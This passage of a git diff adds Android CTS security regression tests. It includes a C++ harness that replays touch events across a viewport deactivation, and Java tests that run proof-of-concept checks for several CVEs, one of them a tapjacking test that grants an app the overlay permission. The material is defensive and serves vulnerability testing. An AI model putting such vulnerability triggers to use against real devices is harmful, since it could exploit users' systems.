+                              const std::unordered_map<LightColor, int32_t> intensities) {
+        mLightIntensities.emplace(rawId, std::move(intensities));
+    }
+
+    bool getLedState(int32_t deviceId, int32_t led) {
+        Device* device = getDevice(deviceId);
+        return device->leds.valueFor(led);
+    }
+
+    std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
+
+    void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
+        Device* device = getDevice(deviceId);
+        device->virtualKeys.push_back(definition);
+    }
+
+    void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
+                      int32_t value) {
+        std::scoped_lock<std::mutex> lock(mLock);
+        RawEvent event;
+        event.when = when;
+        event.readTime = readTime;
+        event.deviceId = deviceId;
+        event.type = type;
+        event.code = code;
+        event.value = value;
+        mEvents.push_back(event);
+
+        if (type == EV_ABS) {
+            setAbsoluteAxisValue(deviceId, code, value);
+        }
+    }
+
+    void setVideoFrames(
+            std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
+        mVideoFrames = std::move(videoFrames);
+    }
+
+private:
+    Device* getDevice(int32_t deviceId) const {
+        ssize_t index = mDevices.indexOfKey(deviceId);
+        return index >= 0 ? mDevices.valueAt(index) : nullptr;
+    }
+
+    Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
+        Device* device = getDevice(deviceId);
+        return device ? device->classes : Flags<InputDeviceClass>(0);
+    }
+
+    InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
+        Device* device = getDevice(deviceId);
+        return device ? device->identifier : InputDeviceIdentifier();
+    }
+
+    int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
+
+    void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            *outConfiguration = device->configuration;
+        }
+    }
+
+    status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
+                                 RawAbsoluteAxisInfo* outAxisInfo) const override {
+        Device* device = getDevice(deviceId);
+        if (device && device->enabled) {
+            ssize_t index = device->absoluteAxes.indexOfKey(axis);
+            if (index >= 0) {
+                *outAxisInfo = device->absoluteAxes.valueAt(index);
+                return OK;
+            }
+        }
+        outAxisInfo->clear();
+        return -1;
+    }
+
+    bool hasRelativeAxis(int32_t deviceId, int axis) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            return device->relativeAxes.indexOfKey(axis) >= 0;
+        }
+        return false;
+    }
+
+    bool hasInputProperty(int32_t, int) const override { return false; }
+
+    bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
+        }
+        return false;
+    }
+
+    status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
+                    int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            const KeyInfo* key = getKey(device, scanCode, usageCode);
+            if (key) {
+                if (outKeycode) {
+                    *outKeycode = key->keyCode;
+                }
+                if (outFlags) {
+                    *outFlags = key->flags;
+                }
+                if (outMetaState) {
+                    *outMetaState = metaState;
+                }
+                return OK;
+            }
+        }
+        return NAME_NOT_FOUND;
+    }
+
+    const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
+        if (usageCode) {
+            ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
+            if (index >= 0) {
+                return &device->keysByUsageCode.valueAt(index);
+            }
+        }
+        if (scanCode) {
+            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
+            if (index >= 0) {
+                return &device->keysByScanCode.valueAt(index);
+            }
+        }
+        return nullptr;
+    }
+
+    status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
+
+    base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
+                                                                      int32_t absCode) {
+        Device* device = getDevice(deviceId);
+        if (!device) {
+            return Errorf("Sensor device not found.");
+        }
+        auto it = device->sensorsByAbsCode.find(absCode);
+        if (it == device->sensorsByAbsCode.end()) {
+            return Errorf("Sensor map not found.");
+        }
+        const SensorInfo& info = it->second;
+        return std::make_pair(info.sensorType, info.sensorDataIndex);
+    }
+
+    void setExcludedDevices(const std::vector<std::string>& devices) override {
+        mExcludedDevices = devices;
+    }
+
+    size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
+        std::scoped_lock lock(mLock);
+
+        const size_t filledSize = std::min(mEvents.size(), bufferSize);
+        std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
+
+        mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
+        mEventsCondition.notify_all();
+        return filledSize;
+    }
+
+    std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
+        auto it = mVideoFrames.find(deviceId);
+        if (it != mVideoFrames.end()) {
+            std::vector<TouchVideoFrame> frames = std::move(it->second);
+            mVideoFrames.erase(deviceId);
+            return frames;
+        }
+        return {};
+    }
+
+    int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
+            if (index >= 0) {
+                return device->scanCodeStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
+            if (index >= 0) {
+                return device->keyCodeStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->switchStates.indexOfKey(sw);
+            if (index >= 0) {
+                return device->switchStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
+                                  int32_t* outValue) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
+            if (index >= 0) {
+                *outValue = device->absoluteAxisValue.valueAt(index);
+                return OK;
+            }
+        }
+        *outValue = 0;
+        return -1;
+    }
+
+    // Return true if the device has non-empty key layout.
+    bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
+                               uint8_t* outFlags) const override {
+        bool result = false;
+        Device* device = getDevice(deviceId);
+        if (device) {
+            result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
+            for (size_t i = 0; i < numCodes; i++) {
+                for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
+                    if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
+                        outFlags[i] = 1;
+                    }
+                }
+                for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
+                    if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
+                        outFlags[i] = 1;
+                    }
+                }
+            }
+        }
+        return result;
+    }
+
+    bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
+            return index >= 0;
+        }
+        return false;
+    }
+
+    bool hasLed(int32_t deviceId, int32_t led) const override {
+        Device* device = getDevice(deviceId);
+        return device && device->leds.indexOfKey(led) >= 0;
+    }
+
+    void setLedState(int32_t deviceId, int32_t led, bool on) override {}
+
+    void getVirtualKeyDefinitions(
+            int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
+        outVirtualKeys.clear();
+
+        Device* device = getDevice(deviceId);
+        if (device) {
+            outVirtualKeys = device->virtualKeys;
+        }
+    }
+
+    const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
+        return nullptr;
+    }
+
+    bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
+        return false;
+    }
+
+    void vibrate(int32_t, const VibrationElement&) override {}
+
+    void cancelVibrate(int32_t) override {}
+
+    std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
+
+    std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
+        return BATTERY_CAPACITY;
+    }
+
+    std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
+        return BATTERY_STATUS;
+    }
+
+    const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
+
+    std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
+        return std::nullopt;
+    }
+
+    const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
+        std::vector<int32_t> ids;
+        for (const auto& [rawId, info] : mRawLightInfos) {
+            ids.push_back(rawId);
+        }
+        return ids;
+    }
+
+    std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
+        auto it = mRawLightInfos.find(lightId);
+        if (it == mRawLightInfos.end()) {
+            return std::nullopt;
+        }
+        return it->second;
+    }
+
+    void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
+        mLightBrightness.emplace(lightId, brightness);
+    }
+
+    void setLightIntensities(int32_t deviceId, int32_t lightId,
+                             std::unordered_map<LightColor, int32_t> intensities) override {
+        mLightIntensities.emplace(lightId, intensities);
+    };
+
+    std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
+        auto lightIt = mLightBrightness.find(lightId);
+        if (lightIt == mLightBrightness.end()) {
+            return std::nullopt;
+        }
+        return lightIt->second;
+    }
+
+    std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
+            int32_t deviceId, int32_t lightId) override {
+        auto lightIt = mLightIntensities.find(lightId);
+        if (lightIt == mLightIntensities.end()) {
+            return std::nullopt;
+        }
+        return lightIt->second;
+    };
+
+    virtual bool isExternal(int32_t) const { return false; }
+
+    void dump(std::string&) override {}
+
+    void monitor() override {}
+
+    void requestReopenDevices() override {}
+
+    void wake() override {}
+};
+
+// --- TestInputMapper---
+
+class TestInputMapper : public InputMapper {
+    uint32_t mSources;
+    int32_t mKeyboardType;
+    int32_t mMetaState;
+    KeyedVector<int32_t, int32_t> mKeyCodeStates;
+    KeyedVector<int32_t, int32_t> mScanCodeStates;
+    KeyedVector<int32_t, int32_t> mSwitchStates;
+    std::vector<int32_t> mSupportedKeyCodes;
+
+    std::mutex mLock;
+    std::condition_variable mStateChangedCondition;
+    bool mConfigureWasCalled GUARDED_BY(mLock);
+    bool mResetWasCalled GUARDED_BY(mLock);
+    bool mProcessWasCalled GUARDED_BY(mLock);
+    RawEvent mLastEvent GUARDED_BY(mLock);
+
+    std::optional<DisplayViewport> mViewport;
+
+public:
+    TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
+          : InputMapper(deviceContext),
+            mSources(sources),
+            mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
+            mMetaState(0),
+            mConfigureWasCalled(false),
+            mResetWasCalled(false),
+            mProcessWasCalled(false) {}
+
+    virtual ~TestInputMapper() {}
+
+    void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
+
+    void setMetaState(int32_t metaState) { mMetaState = metaState; }
+    void setKeyCodeState(int32_t keyCode, int32_t state) {
+        mKeyCodeStates.replaceValueFor(keyCode, state);
+    }
+
+    void setScanCodeState(int32_t scanCode, int32_t state) {
+        mScanCodeStates.replaceValueFor(scanCode, state);
+    }
+
+    void setSwitchState(int32_t switchCode, int32_t state) {
+        mSwitchStates.replaceValueFor(switchCode, state);
+    }
+
+    void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
+
+private:
+    uint32_t getSources() override { return mSources; }
+
+    void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
+        InputMapper::populateDeviceInfo(deviceInfo);
+
+        if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
+            deviceInfo->setKeyboardType(mKeyboardType);
+        }
+    }
+
+    void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mConfigureWasCalled = true;
+
+        // Find the associated viewport if exist.
+        const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
+        if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
+            mViewport = config->getDisplayViewportByPort(*displayPort);
+        }
+
+        mStateChangedCondition.notify_all();
+    }
+
+    void reset(nsecs_t) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mResetWasCalled = true;
+        mStateChangedCondition.notify_all();
+    }
+
+    void process(const RawEvent* rawEvent) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mLastEvent = *rawEvent;
+        mProcessWasCalled = true;
+        mStateChangedCondition.notify_all();
+    }
+
+    int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
+        ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
+        return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
+        ssize_t index = mScanCodeStates.indexOfKey(scanCode);
+        return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getSwitchState(uint32_t, int32_t switchCode) override {
+        ssize_t index = mSwitchStates.indexOfKey(switchCode);
+        return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    // Return true if the device has non-empty key layout.
+    bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
+                               uint8_t* outFlags) override {
+        for (size_t i = 0; i < numCodes; i++) {
+            for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
+                if (keyCodes[i] == mSupportedKeyCodes[j]) {
+                    outFlags[i] = 1;
+                }
+            }
+        }
+        bool result = mSupportedKeyCodes.size() > 0;
+        return result;
+    }
+
+    virtual int32_t getMetaState() { return mMetaState; }
+
+    virtual void fadePointer() {}
+
+    virtual std::optional<int32_t> getAssociatedDisplay() {
+        if (mViewport) {
+            return std::make_optional(mViewport->displayId);
+        }
+        return std::nullopt;
+    }
+};
+
+// --- InstrumentedInputReader ---
+
+class InstrumentedInputReader : public InputReader {
+    std::queue<std::shared_ptr<InputDevice>> mNextDevices;
+
+public:
+    InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
+                            const sp<InputReaderPolicyInterface>& policy,
+                            const sp<InputListenerInterface>& listener)
+          : InputReader(eventHub, policy, listener), mTestContext(this) {}
+
+    virtual ~InstrumentedInputReader() {}
+
+    void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
+
+    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
+                                           const std::string& location = "") {
+        InputDeviceIdentifier identifier;
+        identifier.name = name;
+        identifier.location = location;
+        int32_t generation = deviceId + 1;
+        return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
+    }
+
+    // Make the protected loopOnce method accessible to tests.
+    using InputReader::loopOnce;
+
+protected:
+    virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
+                                                            const InputDeviceIdentifier& identifier)
+            REQUIRES(mLock) {
+        if (!mNextDevices.empty()) {
+            std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
+            mNextDevices.pop();
+            return device;
+        }
+        return InputReader::createDeviceLocked(eventHubId, identifier);
+    }
+
+    // --- TestInputReaderContext ---
+    class TestInputReaderContext : public ContextImpl {
+        int32_t mGlobalMetaState;
+        bool mUpdateGlobalMetaStateWasCalled;
+        int32_t mGeneration;
+
+    public:
+        TestInputReaderContext(InputReader* reader)
+              : ContextImpl(reader),
+                mGlobalMetaState(0),
+                mUpdateGlobalMetaStateWasCalled(false),
+                mGeneration(1) {}
+
+        virtual ~TestInputReaderContext() {}
+
+        void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
+
+        void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
+
+        uint32_t getGeneration() { return mGeneration; }
+
+        void updateGlobalMetaState() override {
+            mUpdateGlobalMetaStateWasCalled = true;
+            ContextImpl::updateGlobalMetaState();
+        }
+
+        int32_t getGlobalMetaState() override {
+            return mGlobalMetaState | ContextImpl::getGlobalMetaState();
+        }
+
+        int32_t bumpGeneration() override {
+            mGeneration = ContextImpl::bumpGeneration();
+            return mGeneration;
+        }
+    } mTestContext;
+
+public:
+    TestInputReaderContext* getContext() { return &mTestContext; }
+};
+
+// --- InputMapperTest ---
+
+class InputMapperTest {
+public:
+    std::shared_ptr<TestEventHub> mTestEventHub;
+    sp<TestInputReaderPolicy> mTestPolicy;
+    sp<TestInputListener> mTestListener;
+    std::unique_ptr<InstrumentedInputReader> mReader;
+    std::shared_ptr<InputDevice> mDevice;
+
+    virtual void SetUp(Flags<InputDeviceClass> classes) {
+        mTestEventHub = std::make_unique<TestEventHub>();
+        mTestPolicy = new TestInputReaderPolicy();
+        mTestListener = new TestInputListener();
+        mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
+                                                            mTestListener);
+        mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
+    }
+
+    void SetUp() { SetUp(DEVICE_CLASSES); }
+
+    void TearDown() {
+        mTestListener.clear();
+        mTestPolicy.clear();
+    }
+    virtual ~InputMapperTest() {}
+
+    void addConfigurationProperty(const char* key, const char* value) {
+        mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
+    }
+
+    void configureDevice(uint32_t changes) {
+        if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
+            mReader->requestRefreshConfiguration(changes);
+            mReader->loopOnce();
+        }
+        mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
+    }
+
+    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
+                                           const std::string& location, int32_t eventHubId,
+                                           Flags<InputDeviceClass> classes) {
+        InputDeviceIdentifier identifier;
+        identifier.name = name;
+        identifier.location = location;
+        std::shared_ptr<InputDevice> device =
+                std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
+                                              identifier);
+        mReader->pushNextDevice(device);
+        mTestEventHub->addDevice(eventHubId, name, classes);
+        mReader->loopOnce();
+        return device;
+    }
+
+    template <class T, typename... Args>
+    T& addMapperAndConfigure(Args... args) {
+        T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
+        configureDevice(0);
+        mDevice->reset(ARBITRARY_TIME);
+        mapper.reset(ARBITRARY_TIME);
+        return mapper;
+    }
+
+    void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
+                                      int32_t orientation, const std::string& uniqueId,
+                                      std::optional<uint8_t> physicalPort,
+                                      ViewportType viewportType) {
+        mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
+                                        uniqueId, physicalPort, viewportType);
+        configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+    }
+
+    void clearViewports() { mTestPolicy->clearViewports(); }
+
+    void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
+                 int32_t value) {
+        RawEvent event;
+        event.when = when;
+        event.readTime = readTime;
+        event.deviceId = mapper.getDeviceContext().getEventHubId();
+        event.type = type;
+        event.code = code;
+        event.value = value;
+        mapper.process(&event);
+        mReader->loopOnce();
+    }
+    void Process_DeactivateViewport_AbortTouches();
+};
+
+void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
+    SetUp();
+    addConfigurationProperty("touch.deviceType", "touchScreen");
+    mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
+                                    DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
+                                    ViewportType::INTERNAL);
+    std::optional<DisplayViewport> optionalDisplayViewport =
+            mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
+    DisplayViewport displayViewport = *optionalDisplayViewport;
+
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
+    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
+    MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
+
+    // Finger down
+    int32_t x = 100, y = 100;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+
+    NotifyMotionArgs motionArgs;
+
+    // Deactivate display viewport
+    displayViewport.isActive = false;
+    mTestPolicy->updateViewport(displayViewport);
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+
+    // Finger move
+    x += 10, y += 10;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+
+    // Reactivate display viewport
+    displayViewport.isActive = true;
+    mTestPolicy->updateViewport(displayViewport);
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+
+    // Finger move again
+    x += 10, y += 10;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+}
+
+} // namespace android
+
+int main() {
+    android::InputMapperTest inputMapperTest;
+    inputMapperTest.Process_DeactivateViewport_AbortTouches();
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
new file mode 100644
index 0000000..e31cb47
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_183963253 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.BUG_183963253";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "BUG-183963253.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 183963253)
+    public void testRunDeviceTestsPassesFull() throws Exception {
+        installPackage(TEST_APP);
+
+        // Grant permission to draw overlays.
+        getDevice().executeShellCommand(
+                "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW");
+
+        assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java
new file mode 100644
index 0000000..f75564e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9428 extends SecurityTestCase {
+
+    /**
+     * b/74122779
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @AsbSecurityTest(cveBugId = 74122779)
+    @Test
+    public void testPocCVE_2018_9428() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config.setSignals(signals);
+        testConfig.config.setAbortMessageIncludes("service stream still open");
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
similarity index 74%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
index b0f19ad..1bb5e0a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
@@ -20,18 +20,17 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9547 extends SecurityTestCase {
 
    /**
-     * b/174738029
-     *
+     * b/114223584
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 114223584)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9547() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9547", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
index b0f19ad..6e4d588 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9564 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/114238578
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 114238578)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9564() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9564", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
index b0f19ad..e899b7a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
